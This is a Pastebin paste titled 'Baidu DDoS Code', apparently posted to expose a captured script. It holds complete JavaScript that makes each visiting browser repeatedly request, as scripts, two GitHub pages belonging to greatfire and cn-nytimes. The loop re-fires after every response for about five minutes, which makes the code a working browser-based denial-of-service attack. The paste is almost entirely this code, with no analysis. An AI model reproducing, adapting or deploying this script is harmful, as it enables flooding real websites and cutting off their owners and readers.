Guest User

Baidu DDoS Code

a guest
Mar 28th, 2015
4,286
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js">// <![CDATA[
  2. \x3c/script>");
  3. !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
  4. startime = (new Date).getTime();
  5. var count = 0;
  6.  
  7. function unixtime() {
  8. var a = new Date;
  9. return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
  10. }
  11. url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
  12. NUM = url_array.length;
  13.  
  14. function r_send2() {
  15. var a = unixtime() % NUM;
  16. get(url_array[a])
  17. }
  18.  
  19. function get(a) {
  20. var b;
  21. $.ajax({
  22. url: a,
  23. dataType: "script",
  24. timeout: 1E4,
  25. cache: !0,
  26. beforeSend: function() {
  27. requestTime = (new Date).getTime()
  28. },
  29. complete: function() {
  30. responseTime = (new Date).getTime();
  31. b = Math.floor(responseTime - requestTime);
  32. 3E5 > responseTime - startime && (r_send(b), count += 1)
  33. }
  34. })
  35. }
  36.  
  37. function r_send(a) {
  38. setTimeout("r_send2()", a)
  39. }
  40. setTimeout("r_send2()", 2E3);
RAW Paste Data